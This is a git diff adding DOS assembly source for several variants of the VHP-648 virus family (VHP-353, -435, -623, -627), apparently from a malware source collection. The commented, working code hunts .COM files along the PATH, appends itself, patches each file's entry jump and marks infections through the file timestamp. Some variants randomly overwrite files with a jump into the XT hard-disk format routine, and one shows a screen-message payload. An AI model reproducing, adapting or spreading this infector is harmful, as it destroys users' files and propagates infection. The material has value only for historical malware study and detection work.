+ dec ax + mov ds,ax + + mov ax,4000 ; Write the virus body after the end of file + int 21 ; Do it + + pop dx ; Restore file's date & time + pop cx + mov ax,5701 + int 21 ; Do it + +close: + mov ax,3E00 ; Close the file + int 21 + + pop ds ; Restore DS + + mov ah,2C ; Get current time + int 21 + +; If the hundreds of seconds are > 20, quit. +; This means that the messages are displayed +; with a probability of about 1/5: + + cmp dl,20d ; Hundreds of seconds > 20? + jg quit ; Exit if so + +; Print the messages: + + mov ax,0E07 ; Beep (teletype write of ASCII 7) + int 10 ; Do it + + mov ax,0F00 ; Get video mode + int 10 ; Do it + + push ax ; Save mode on the stack + + xor ax,ax ; Set video mode to 40x25 text + int 10 ; Do it + + mov cx,msg_len ; Put message length in CX + mov dx,0A06 ; Goto row 10, column 6 + mov bl,0E ; Screen attribute: dark yellow on black + lea bp,cs:[msg_1-v_entry] ; Point to the first message + +prt_msg: + mov ah,2 ; Go to the next display position + int 10 ; Do it + + mov si,msg_len ; Get an ecrypted character from the message + sub si,cx + mov al,ds:[bp+si] + + add al,msg_len ; These two instruction are needless + sub al,msg_len + + add al,cl ; Decrypt the character + + mov ah,9 ; Write the character with the + int 10 ; selected attribute + + inc dl ; Go to the next screen position + + loop prt_msg ; Loop until done + + cmp dh,10d ; Was this row 10? + jne msg_done ; If not, message printed; exit + + mov cx,msg_len ; Otherwise get the length of the next message + mov bl,8C ; Screen attribute: blinking bright red on black + mov dx,0C06 ; Go to row 12, column 6 + lea bp,cs:[msg_2-v_entry] ; Point to the second message + jmp prt_msg ; And go print it + +msg_done: + xor cx,cx ; CX := 0 +delay: + imul cx ; Cause a delay + imul cx + loop delay ; Loop until done + + pop ax ; Restore video mode from the stack + xor ah,ah + int 10 ; Set it as it was originally + +quit: + push cs ; DS := CS + pop ds + + mov ax,1A00 ; Restore old DTA + mov dx,81 + int 21 ; Do it + + mov si,offset start ; Jump to address CS:100h + jmp si ; Do it + +sign db 0F1, 0C8 ; Virus signature + +v_end equ $ + +fsize equ $ ; Word. File size is saved here +last2 equ $+2 ; Word. Buffer for reading the virus signature +dta equ $+4 ; Disk Transfer Area +fname equ dta+1E ; File name found + +code ends + end start + \ No newline at end of file diff --git a/v/VHP-353.ASM b/v/VHP-353.ASM new file mode 100755 index 0000000..050b3f8 --- /dev/null +++ b/v/VHP-353.ASM @@ -0,0 +1,274 @@ + page ,132 + name VHP_353 + title Virus; based on the famous VHP-648 virus + .radix 16 + +code segment + assume cs:code,ds:code + + org 100 + +environ equ 2C + +newjmp equ 7Bh ;Code of jmp instruction +codeptr equ 7A ;Here is formed a jump to the virus code +pname equ 78 ;Offset of file name in the dir path +poffs equ 76 ;Offset in the contents of the `PATH' variable +errhnd equ 74 ;Save place for the old error handler +fname equ 70 ;Path name to search for +mydta equ 2C ;DTA for Find First/Next: +attrib equ 17 ;File attribute +time equ 16 ;File time +date equ 14 ;File date +fsize equ 12 ;File size +namez equ 0E ;File name found + +start: + jmp short begin + nop + int 20 + +saveins db 3 dup (90) ;Original first 3 bytes + +begin: + call virus ;Detrmine the virus start address + +data label byte ;Data section + +allcom db '*.COM',0 ;Filespec to search for +pathstr db 'PATH=' + +;This replaces the first instruction of a destroyed file. +;It's a JMP instruction into the hard disk formatting program (IBM XT only): + +bad_jmp db 0EA,6,0,0,0C8 + +virus: + pop bx ;Make BX pointed at data + mov di,offset start ;Push the program true start address + push di ; onto the stack + push ax ;Save AX + + cld + lea si,[bx+saveins-data] ;Original instruction saved there + movsw ;Move 2 + 1 bytes + movsb + mov si,bx ;Keep SI pointed at data + + lea bp,[bx+endcode-data+7A] ;Reserve local storage + + mov ax,3524 ;Get interrupt 24h handler + int 21 ; and save it in errhnd + + mov [bp-errhnd],bx + mov [bp-errhnd+2],es + + mov ah,25 ;Set interrupt 24h handler + lea dx,[si+handler-data] + cmp al,0 ;DOS < 2.0 zeroes AL + je exit ;Exit if version < 2.0 + push ds + int 21 + + lea dx,[bp-mydta] + mov ax,1A00 ;Set DTA + int 21 + + xor di,di ;Point ES:DI at the environment start + mov es,ds:[di+environ] ;Environment address + mov bx,si +search: ;Search 'PATH' in the environment + lea si,[bx+pathstr-data] + mov cx,5 ;5 letters in 'PATH=' + repe cmpsb + je pfound ;PATH found, continue + mov ch,80 ;Maximum 32 K in environment + repne scasb ;If not, skip through next 0 + scasb ;End of environment? + dec di + jc search ;If not, retry +pfound: + pop es ;Restore ES + + mov [bp-poffs],di ;Save 'PATH' offset in poffs + lea di,[bp-fname] + mov [bp-pname],di + +filesrch: + lea si,[bx+allcom-data] + movsw + movsw ;Move '*.COM' at fname + movsw + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + lea dx,[bp-fname] + mov cl,11b ;Hidden, Read/Only or Normal files + jmp short findfile + +checkfile: + mov al,[bp-time] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + +;Is 10 <= file_size <= 64,000 bytes? + + sub word ptr [bp-fsize],10d + cmp [bp-fsize],64000d-10d+1 + jc process ;If so, process the file + +findnext: ;Otherwise find the next file + mov ah,4F ;Find next file +findfile: + int 21 + jnc checkfile ;If found, go chech some conditions + +nextdir: + mov si,[bp-poffs] ;Get the offset in the PATH variable + lea di,[bp-fname] ;Point ES:DI at fname + mov ds,ds:[environ] ;Point DS:SI at the PATH variable found + cmp byte ptr [si],0 ;0 means end of PATH + jnz cpydir + +olddta: + mov ax,2524 ;Set interrupt 24h handler + lds dx,dword ptr [bp-errhnd] + int 21 + push cs + pop ds ;Restore DS + +exit: + mov ah,1A ;Set DTA + mov dx,80 ;Restore DTA + int 21 + + pop ax + ret ;Go to CS:IP by doing funny RET + +cpydir: + lodsb ;Get a char from the PATH variable + cmp al,';' ;`;' means end of directory + je enddir + cmp al,0 ;0 means end of PATH variable + je enddir + stosb ;Put the char in fname + jmp cpydir ;Loop until done +enddir: + push cs + pop ds ;Restore DS + mov [bp-poffs],si ;Save the new offset in the PATH variable + mov al,'\' ;Add '\' + stosb + mov [bp-pname],di + jmp filesrch ;And go find the first *.COM file + +process: + mov di,dx ;[bp-pname] + lea si,[bp-namez] ;Point SI at namez +cpyname: + lodsb ;Copy name found to fname + stosb + cmp al,0 + jne cpyname + mov si,bx ;Restore SI + + mov ax,4301 ;Set file attributes + call clr_cx_dos + + mov ax,3D02 ;Open file with Read/Write access + int 21 + jc oldattr ;Exit on error + mov bx,ax ;Save file handle in BX + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + jnz infect ;If not, contaminate file (don't destroy): + +;Destroy file by rewriting the first instruction: + + mov cx,5 ;Write 5 bytes + lea dx,[si+bad_jmp-data] ;Write THESE bytes + jmp short do_write ;Do it + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +infect: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + lea dx,[si+saveins-data] ;Put them there + call dos_rw + jc oldtime ;Exit on error + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + call clr_dx_cx_dos + + mov [bp-codeptr],ax ;Save result in codeptr + + mov cx,endcode-saveins ;Virus code length as bytes to be written + lea dx,[si+saveins-data] ;Write from saveins to endcode + call dos_write ;Write to file handle + jc oldtime ;Exit on error + + call lseek ;LSEEK to the beginning of the file + +;Rewrite the first instruction of the file with a jump to the virus code: + + mov cl,3 ;3 bytes to write + lea dx,[bp-newjmp] ;Write THESE bytes +do_write: + call dos_write ;Write to file handle + +oldtime: + mov dx,[bp-date] ;Restore file date + mov cx,[bp-time] ; and time + or cl,11111b ;Set seconds to 62 (the virus' marker) + + mov ax,5701 ;Set file date & time + int 21 + mov ah,3E ;Close file handle + int 21 + +oldattr: + mov ax,4301 ;Set file attributes + mov cx,[bp-attrib] ;They were saved in attrib + and cx,3F + lea dx,[bp-fname] + int 21 ;Do it + jmp olddta ;And exit + +lseek: + mov ax,4200 ;LSEEK from the beginning of the file +clr_dx_cx_dos: + xor dx,dx ;From the very beginning +clr_cx_dos: + xor cx,cx ;Auxiliary entry point + db 3Dh ;Trick +dos_write: + mov ah,40 ;Write to file handle +dos_rw: + int 21 + jc dos_ret ;Exit on error + cmp ax,cx ;Set CF if AX < CX +dos_ret: + ret + +handler: ;Critical error handler + mov al,0 ;Just ignore the error + iret ; and return + + db 0E9 ;The JMP opcode + +endcode label byte + +code ends + end start + \ No newline at end of file diff --git a/v/VHP-435.ASM b/v/VHP-435.ASM new file mode 100755 index 0000000..f149f83 --- /dev/null +++ b/v/VHP-435.ASM @@ -0,0 +1,304 @@ + name Virus + title Virus; based on the famous VHP-648 virus + .radix 16 + +code segment + assume cs:code,ds:code + + org 100 + +environ equ 2C + +newjmp equ 7Bh ;Code of jmp instruction +codeptr equ 7A ;Here is formed a jump to virus code +pname equ 78 ;Offset of file name in dir path +poffs equ 76 ;Address of 'PATH' string +errhnd equ 74 ;Old error handler +fname equ 70 ;Path name to search for +mydta equ 2C ;DTA for Find First/Next: +attrib equ 17 ;File attribute +time equ 16 ;File time +date equ 14 ;File date +fsize equ 12 ;File size +namez equ 0E ;File name found + +start: + jmp short virus + nop + int 20 + +data label byte ;Data section +saveins db 3 dup (90) ;Original first 3 bytes +allcom db '*.COM',0 ;Filespec to search for +pathstr db 'PATH=' + +;This replaces the first instruction of a destroyed file. +;It's a jmp instruction into the hard disk formatting program (IBM XT only): + +bad_jmp db 0EA,5,0,0,0C8 + +virus: + push ax + push cx ;Save CX + + call self ;Detrmine the program start address + nop ;For those looking for the E80000 pattern +self: + pop bx + sub bx,self-data-1 ;Keep BX pointed at data + cld + lea si,[bx+saveins-data] ;Instruction saved there + mov di,offset start + mov cx,3 ;Move 3 bytes + rep movsb ;Do it + mov si,bx ;Keep SI pointed at data + + push bp ;Reserve local storage + mov bp,sp + sub sp,7C + + mov ah,30 ;Get DOS version + int 21 + cmp al,0 ;Less than 2.0? + jne skip1 + jmp exit ;Exit if so + +skip1: + push es ;Save ES + mov ax,3524 ;Get interrupt 24h handler + int 21 ; and save it in errhnd + mov [bp-errhnd],bx + mov [bp-errhnd+2],es + + mov ah,25 ;Set interrupt 24h handler + lea dx,[si+handler-data] + int 21 + + lea dx,[bp-mydta] + mov ah,1A ;Set DTA + int 21 + + push si + mov es,ds:[environ] ;Environment address + xor di,di + mov bx,si +srchfirst: ;Search 'PATH' in environment + lea si,[bx+pathstr-data] + lodsb + scasb ;Search for first letter ('P') + jne nextp + mov cx,4 ;4 letters in 'ATH=' + rep cmpsb + je pfound ;PATH found, continue +nextp: + cmp byte ptr es:[di],0 + je notfound ;End of environment? + mov cx,8000 ;Maximum 32 K in environment + mov al,0 ;If not, skip thru next 0 + repne scasb ; (i.e. go to next variable) + jmp srchfirst ; and search again +notfound: + xor di,di ;0 indicates no PATH found +pfound: + pop si ;Restore SI & ES + pop es + + mov [bp-poffs],di ;Save 'PATH' offset in poffs + lea di,[bp-fname] + mov [bp-pname],di + +filesrch: + lea si,[bx+allcom-data] + mov cl,3 ;3 words in ASCIIZ '*.COM' + rep movsw ;Move '*.COM' at fname + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + lea dx,[bp-fname] + mov cl,11b ;Hidden, Read/Only or Normal files + int 21 + jc nextdir ;If not found, search in another directory + +checkfile: + mov al,[bp-time] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + +;Is file size greather than 64,000 bytes? + + cmp [bp-fsize],64000d + ja findnext ;If so, search for next file + +;Is file size greater or equal to 10 bytes? + + cmp word ptr [bp-fsize],10d + jae process ;If so, process file + +findnext: ;Otherwise find the next file + mov ah,4F ;Find next file + int 21 + jnc checkfile ;If found, go chech some conditions + +nextdir: + mov si,[bp-poffs] + or si,si + jnz skip2 + jmp olddta ;Exit if end of environment reached +skip2: + push ds ;Save DS + lea di,[bp-fname] ;Point ES:DI at fname + mov ds,ds:[environ] ;Point DS:SI at the PATH variable found +cpydir: + lodsb ;Get a char from the PATH variable + cmp al,';' ;`;' means end of directory + je enddir + cmp al,0 ;0 means end of PATH variable + je endpath + stosb ;Put the char in fname + jmp cpydir ;Loop until done +endpath: + xor si,si ;Zero SI to indicate end of PATH +enddir: + pop ds ;Restore DS + mov [bp-poffs],si + cmp byte ptr [di-1],'\' + je skip3 + mov al,'\' ;Add '\' if not already present + stosb +skip3: + mov [bp-pname],di + jmp filesrch + +process: + mov di,[bp-pname] + lea si,[bp-namez] ;Point SI at namez +cpyname: + lodsb ;Copy name found to fname + stosb + cmp al,0 + jne cpyname + mov si,bx ;Restore SI + + mov ax,4301 ;Set file attributes + mov cl,[bp-attrib] + and cl,not 1 ;Turn off Read Only flag + int 21 + + mov ax,3D02 ;Open file with Read/Write access + int 21 + jc oldattr ;Exit on error + mov bx,ax ;Save file handle in BX + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + jnz infect ;If not, contaminate file (don't destroy): + +;Destroy file by rewriting an illegal jmp as first instruction: + + mov ah,40 ;Write to file handle + mov cx,5 ;Write 5 bytes + lea dx,[si+bad_jmp-data] ;Write THESE bytes + int 21 ;Do it + jmp short oldtime ;Exit + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +infect: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + lea dx,[si+saveins-data] ;Put them there + int 21 + jc oldtime ;Exit on error + cmp ax,3 ;Are really 3 bytes read? + jne oldtime ;Exit if not + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + xor cx,cx ;0 bytes from end + xor dx,dx + int 21 + jc oldtime ;Exit on error + + add ax,virus-data-3 ;Add virus data length to get code offset + mov [bp-codeptr],ax ;Save result in codeptr + mov byte ptr [bp-newjmp],0E9 + + mov ah,40 ;Write to file handle + mov cx,endcode-data ;Virus code length as bytes to be written + mov dx,si ;Write from data to endcode + int 21 + jc oldtime ;Exit on error + cmp ax,endcode-data ;Are all bytes written? + jne oldtime ;Exit if not + + mov ax,4200 ;LSEEK from the beginning of the file + xor cx,cx ;Just at the file beginning + xor dx,dx + int 21 + jc oldtime ;Exit on error + +;Rewrite the first instruction of the file with a jump to the virus code: + + mov ah,40 ;Write to file handle + mov cl,3 ;3 bytes to write + lea dx,[bp-newjmp] ;Write THESE bytes + int 21 + +oldtime: + mov dx,[bp-date] ;Restore file date + mov cx,[bp-time] ; and time + or cl,11111b ;Set seconds to 62 (?!) + + mov ax,5701 ;Set file date & time + int 21 + mov ah,3E ;Close file handle + int 21 + +oldattr: + mov ax,4301 ;Set file attributes + mov cl,[bp-attrib] ;They were saved in fattrib + mov ch,0 + lea dx,[bp-fname] + int 21 + +olddta: + mov ah,1A ;Set DTA + mov dx,80 ;Restore DTA + int 21 + + push ds ;Save DS + mov ax,2524 ;Set interrupt 24h handler + mov dx,[bp-errhnd] ;Restore saved handler + mov ds,[bp-errhnd+2] + int 21 + pop ds ;Restore DS + +exit: + mov sp,bp + pop bp ;Restore BP, CX & AX + pop cx + pop ax + xor bx,bx ;Clear registers + xor dx,dx + xor si,si + mov di,offset start ;Jump to CS:100 + push di ; by doing funny RET + xor di,di + ret + +handler: ;Critical error handler + mov al,0 ;Just ignore error + iret ; and return +endcode label byte + +code ends + end start + \ No newline at end of file diff --git a/v/VHP-623.ASM b/v/VHP-623.ASM new file mode 100755 index 0000000..9826648 --- /dev/null +++ b/v/VHP-623.ASM @@ -0,0 +1,332 @@ + name Virus + title Virus; based on the famous VHP-648 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 +environ equ 2C + +start: + jmp virus + int 20 + +data label byte ;Data section +dtaaddr dd ? ;Disk Transfer Address +ftime dw ? ;File date +fdate dw ? ;File time +fattrib dw ? ;File attribute +saveins db 3 dup (90) ;Original first 3 bytes +newjmp db 0E9 ;Code of jmp instruction +codeptr dw ? ;Here is formed a jump to virus code +allcom db '*.COM',0 ;Filespec to search for +poffs dw ? ;Address of 'PATH' string +eqoffs dw ? ;Address of '=' sign +pathstr db 'PATH=' +fname db 40 dup (' ') ;Path name to search for + +;Disk Transfer Address for Find First / Find Next: + +mydta label byte +drive db ? ;Drive to search for +pattern db 13d dup (?) ;Search pattern +reserve db 7 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 13d dup (?) ;File name found + +;This replaces the first instruction of a destroyed file. +;It's a jmp instruction into the hard disk formatting program (IBM XT only): + +bad_jmp db 0EA,0,0,0,0C8 +errhnd dd ? + +virus: + push cx ;Save CX + + mov dx,offset data ;Restore original first instruction +modify equ $-2 ;The instruction above is changed + ; before each contamination + cld + mov si,dx + add si,saveins-data ;Instruction saved there + mov di,offset start + mov cx,3 ;Move 3 bytes + rep movsb ;Do it + mov si,dx ;Keep SI pointed at data + + mov ah,30 ;Get DOS version + int 21 + cmp al,0 ;Less than 2.0? + jne skip1 + jmp exit ;Exit if so + +skip1: + push es ;Save ES + mov ah,2F ;Get current DTA in ES:BX + int 21 + mov [si+dtaaddr-data],bx ;Save it in dtaaddr + mov [si+dtaaddr+2-data],es + + mov ax,3524 ;Get interrupt 24h handler + int 21 ; and save it in errhnd + mov [si+errhnd-data],bx + mov [si+errhnd+2-data],es + pop es ;Restore ES + + mov ax,2524 ;Set interrupt 24h handler + mov dx,si + add dx,handler-data + int 21 + + mov dx,mydta-data + add dx,si + mov ah,1A ;Set DTA + int 21 + + push es ;Save ES & SI + push si + mov es,ds:[environ] ;Environment address + xor di,di +n_00015A: ;Search 'PATH' in environment + pop si ;Restore data offset in SI + push si + add si,pathstr-data + lodsb + mov cx,8000 ;Maximum 32K in environment + repne scasb ;Search for first letter ('P') + mov cx,4 ;4 letters in 'PATH' +n_000169: + lodsb ;Search for next char + scasb + jne n_00015A ;If not found, search for next 'P' + loop n_000169 ;Loop until done + pop si ;Restore SI & ES + pop es + + mov [si+poffs-data],di ;Save 'PATH' offset in poffs + mov bx,si ;Point BX at data area + add si,fname-data ;Point SI & DI at fname + mov di,si + jmp short n_0001BF + +n_000185: + cmp word ptr [si+poffs-data],6C + jne n_00018F + jmp olddta +n_00018F: + push ds + push si + mov ds,es:[environ] + mov di,si + mov si,es:[di+poffs-data] + add di,fname-data +n_0001A1: + lodsb + cmp al,';' + je n_0001B0 + cmp al,0 + je n_0001AD + stosb + jmp n_0001A1 +n_0001AD: + xor si,si +n_0001B0: + pop bx + pop ds + mov [bx+poffs-data],si + cmp byte ptr [di-1],'\' + je n_0001BF + mov al,'\' ;Add '\' if not already present + stosb + +n_0001BF: + mov [bx+eqoffs-data],di ;Save '=' offset in eqoffs + mov si,bx ;Restore data pointer in SI + add si,allcom-data + mov cl,6 ;6 bytes in ASCIIZ '*.COM' + rep movsb ;Move '*.COM' at fname + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + mov dx,fname-data + add dx,si + mov cl,11b ;Hidden, Read/Only or Normal files + int 21 + jmp short n_0001E3 + +findnext: + mov ah,4F ;Find next file + int 21 +n_0001E3: + jnc n_0001E7 ;If found, try to contaminate it + jmp n_000185 ;Otherwise search in another directory + +n_0001E7: + mov ax,[si+time-data] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + +;Is file size greather than 64,000 bytes? + + cmp [si+fsize-data],64000d + ja findnext ;If so, search for next file + +;Is file size less than 10 bytes? + + cmp word ptr [si+fsize-data],10d + jb findnext ;If so, search for next file + + mov di,[si+eqoffs-data] + push si ;Save SI + add si,namez-data ;Point SI at namez +n_000209: + lodsb + stosb + cmp al,0 + jne n_000209 + + pop si ;Restore SI + mov ax,4300 ;Get file attributes + mov dx,fname-data + add dx,si + int 21 + + mov [si+fattrib-data],cx ;Save them in fattrib + mov ax,4301 ;Set file attributes + and cl,not 1 ;Turn off Read Only flag + int 21 + + mov ax,3D02 ;Open file with Read/Write access + int 21 + jnc n_00023E + jmp oldattr ;Exit on error + +n_00023E: + mov bx,ax ;Save file handle in BX + mov ax,5700 ;Get file date & time + int 21 + mov [si+ftime-data],cx ;Save time in ftime + mov [si+fdate-data],dx ;Save date in fdate + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + jnz n_000266 ;If not, contaminate file (don't destroy): + +;Destroy file by rewriting an illegal jmp as first instruction: + + mov ah,40 ;Write to file handle + mov cx,5 ;Write 5 bytes + mov dx,si + add dx,bad_jmp-data ;Write THESE bytes + int 21 ;Do it + jmp short oldtime ;Exit + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +n_000266: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + mov dx,saveins-data ;Put them there + add dx,si + int 21 + jc oldtime ;Exit on error + cmp ax,3 ;Are really 3 bytes read? + jne oldtime ;Exit if not + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + xor cx,cx ;0 bytes from end + xor dx,dx + int 21 + jc oldtime ;Exit on error + + mov cx,ax ;Get the value of file pointer (file size) + add ax,virus-data-3 ;Add virus data length to get code offset + mov [si+codeptr-data],ax ;Save result in codeptr + inc ch ;Add 100h to CX + mov di,si + add di,modify-data ;A little self-modification + mov [di],cx + + mov ah,40 ;Write to file handle + mov cx,endcode-data ;Virus code length as bytes to be written + mov dx,si ;Write from data to endcode + int 21 + jc oldtime ;Exit on error + cmp ax,endcode-data ;Are all bytes written? + jne oldtime ;Exit if not + + mov ax,4200 ;LSEEK from the beginning of the file + xor cx,cx ;Just at the file beginning + xor dx,dx + int 21 + jc oldtime ;Exit on error + +;Rewrite the first instruction of the file with a jump to the virus code: + + mov ah,40 ;Write to file handle + mov cl,3 ;3 bytes to write + mov dx,si + add dx,newjmp-data ;Write THESE bytes + int 21 + +oldtime: + mov dx,[si+fdate-data] ;Restore file date + mov cx,[si+ftime-data] ; and time + and cl,not 11111b + or cl,11111b ;Set seconds to 62 (?!) + + mov ax,5701 ;Set file date & time + int 21 + mov ah,3E ;Close file handle + int 21 + +oldattr: + mov ax,4301 ;Set file attributes + mov cx,[si+fattrib-data] ;They were saved in fattrib + mov dx,fname-data + add dx,si + int 21 + +olddta: + push ds ;Save DS + mov ah,1A ;Set DTA + mov dx,[si+dtaaddr-data] ;Restore saved DTA + mov ds,[si+dtaaddr+2-data] + int 21 + + mov ax,2524 ;Set interrupt 24h handler + mov dx,[si+errhnd-data] ;Restore saved handler + mov ds,[si+errhnd+2-data] + int 21 + pop ds ;Restore DS + +exit: + pop cx ;Restore CX + xor ax,ax ;Clear registers + xor bx,bx + xor dx,dx + xor si,si + mov di,100 ;Jump to CS:100 + push di ; by doing funny RET + xor di,di + ret -1 + +handler: ;Critical error handler + mov al,0 ;Just ignore error + iret ; and return +endcode label byte + +code ends + end start + \ No newline at end of file diff --git a/v/VHP-627.ASM b/v/VHP-627.ASM new file mode 100755 index 0000000..59911d2 --- /dev/null +++ b/v/VHP-627.ASM @@ -0,0 +1,331 @@ + name Virus + title Disassembly listing of the VHP-648 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 +environ equ 2C + +start: + jmp virus + +message db 'Hello, world!$' + + mov ah,9 + mov dx,offset message + int 21 + int 20 + +virus: + push cx ;Save CX + + mov dx,offset data ;Restore original first instruction +modify equ $-2 ;The instruction above is changed + ; before each contamination + cld + mov si,dx + add si,saveins-data ;Instruction saved there + mov di,offset start + mov cx,3 ;Move 3 bytes + rep movsb ;Do it + mov si,dx ;Keep SI pointed at data + + mov ah,30 ;Get DOS version + int 21 + cmp al,0 ;Less than 2.0? + jne skip1 + jmp exit ;Exit if so + +skip1: + push es ;Save ES + mov ah,2F ;Get current DTA in ES:BX + int 21 + mov word ptr [si+0],bx ;dtaadr + mov word ptr [si+2],es + pop es ;Restore ES + + mov dx,mydta-data + add dx,si + mov ah,1A ;Set DTA + int 21 + + push es ;Save ES & SI + push si + mov es,ds:[environ] ;Environment address + mov di,0 +n_00015A: ;Search 'PATH=' in the environment + pop si ;Restore data offset in SI + push si + add si,pathstr-data + lodsb + mov cx,8000 ;Maximum 32K in environment + repne scasb ;Search for first letter ('P') + mov cx,4 ;4 letters in 'PATH' +n_000169: + lodsb ;Search for next char + scasb + jne n_00015A ;If not found, search for next 'P' + loop n_000169 ;Loop until done + pop si ;Restore SI & ES + pop es + + mov [si+16],di ;Save 'PATH' offset in poffs + mov di,si + add di,fname-data ;Point SI & DI at '=' sign + mov bx,si ;Point BX at data area + add si,fname-data + mov di,si + jmp short n_0001BF + +n_000185: + cmp word ptr [si+16],6C ;poffs + jne n_00018F + jmp olddta +n_00018F: + push ds + push si + mov ds,es:[environ] + mov di,si + mov si,es:[di+16] ;poffs + add di,fname-data +n_0001A1: + lodsb + cmp al,';' + je n_0001B0 + cmp al,0 + je n_0001AD + stosb + jmp n_0001A1 +n_0001AD: + mov si,0 +n_0001B0: + pop bx + pop ds + mov [bx+16],si ;poffs + cmp byte ptr [di-1],'\' + je n_0001BF + mov al,'\' ;Add '\' if not already present + stosb + +n_0001BF: + mov [bx+18],di ;Save '=' offset in eqoffs + mov si,bx ;Restore data pointer in SI + add si,allcom-data + mov cx,6 ;6 bytes in ASCIIZ '*.COM' + rep movsb ;Move '*.COM' at fname + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + mov dx,fname-data + add dx,si + mov cx,11b ;Hidden, Read/Only or Normal files + int 21 + jmp short n_0001E3 + +findnext: + mov ah,4F ;Find next file + int 21 +n_0001E3: + jnc n_0001E7 ;If found, try to contaminate it + jmp n_000185 ;Otherwise search in another directory + +n_0001E7: + mov ax,[si+75] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + cmp [si+79],64000d ;Is file size greather than 64,000 bytes? + ja findnext ;If so, search for next file + cmp word ptr [si+79],10d ;Is file size less than 10 bytes? + jb findnext ;If so, search for next file + + mov di,[si+18] ;eqoffs + push si ;Save SI + add si,namez-data ;Point SI at namez +n_000209: + lodsb + stosb + cmp al,0 + jne n_000209 + + pop si ;Restore SI + mov ax,4300 ;Get file attributes + mov dx,fname-data + add dx,si + int 21 + + mov [si+8],cx ;Save them in fattrib + mov ax,4301 ;Set file attributes + +;The next `db's are there because MASM can't assemble +; the instruction `and cx,0FFFE' correctly (the fool!): + + db 081,0E1,0FE,0FF +; and cx,not 1 ;Turn off Read Only flag + mov dx,fname-data + add dx,si + int 21 + + mov ax,3D02 ;Open file with Read/Write access + mov dx,fname-data + add dx,si + int 21 + jnc n_00023E + jmp oldattr ;Exit on error + +n_00023E: + mov bx,ax ;Save file handle in BX + mov ax,5700 ;Get file date & time + int 21 + mov [si+4],cx ;Save time in ftime + mov [si+6],dx ;Save date in fdate + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + +;If so, destroy file (don't contaminate). Now this code is disabled. + + jmp short n_000266 ;CHANGED. Was jnz here + +;Destroy file by rewriting an illegal jmp as first instruction: + + mov ah,40 ;Write to file handle + mov cx,5 ;Write 5 bytes + mov dx,si + add dx,bad_jmp-data ;Write THESE bytes + int 21 ;Do it + jmp short oldtime ;Exit + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +n_000266: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + mov dx,saveins-data ;Put them there + add dx,si + int 21 + jc oldtime ;Exit on error + cmp ax,3 ;Are really 3 bytes read? + jne oldtime ;Exit if not + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + mov cx,0 ;0 bytes from end + mov dx,0 + int 21 + jc oldtime ;Exit on error + + mov cx,ax ;Get the value of file pointer + sub ax,3 ;Subtract 3 from it to get real code size + mov [si+14d],ax ;Save result in filloc + add cx,data-(virus-100) + mov di,si + sub di,data-modify ;A little self-modification + mov [di],cx + + mov ah,40 ;Write to file handle + mov cx,enddata-virus ;Virus code length as bytes to be written + mov dx,si + sub dx,data-virus ;Now DX points at virus label + int 21 + jc oldtime ;Exit on error + cmp ax,enddata-virus ;Are all bytes written? + jne oldtime ;Exit if not + + mov ax,4200 ;LSEEK from the beginning of the file + mov cx,0 ;Just at the file beginning + mov dx,0 + int 21 + jc oldtime ;Exit on error + +;Rewrite the first instruction of the file with a jump to the virus code: + + mov ah,40 ;Write to file handle + mov cx,3 ;3 bytes to write + mov dx,si + add dx,newjmp-data ;Write THESE bytes + int 21 + +oldtime: + mov dx,[si+6] ;Restore file date + mov cx,[si+4] ; and time + +;And these again are due to the MASM 5.0 foolness: + + db 081,0E1,0E0,0FF + db 081,0C9,01F,000 +; and cx,not 11111b +; or cx,11111b ;Set seconds to 62 (?!) + + mov ax,5701 ;Set file date & time + int 21 + mov ah,3E ;Close file handle + int 21 + +oldattr: + mov ax,4301 ;Set file attributes + mov cx,[si+8] ;They were saved in fattrib + mov dx,fname-data + add dx,si + int 21 + +olddta: + push ds ;Save DS + mov ah,1A ;Set DTA + mov dx,[si+0] ;Restore saved DTA + mov ds,[si+2] + int 21 + pop ds ;Restore DS + +exit: + pop cx ;Restore CX + xor ax,ax ;Clear registers + xor bx,bx + xor dx,dx + xor si,si + mov di,100 ;Jump to CS:100 + push di ; by doing funny RET + xor di,di + ret -1 + +data label byte ;Data section +dtaaddr dd ? ;Disk Transfer Address +ftime dw ? ;File date +fdate dw ? ;File time +fattrib dw ? ;File attribute +saveins db 0EBh,0Fh,90 ;Original first 3 bytes +newjmp db 0E9 ;Code of jmp instruction +filloc dw ? ;File pointer is saved here +allcom db '*.COM',0 ;Filespec to search for +poffs dw ? ;Address of 'PATH' string +eqoffs dw ? ;Address of '=' sign +pathstr db 'PATH=' 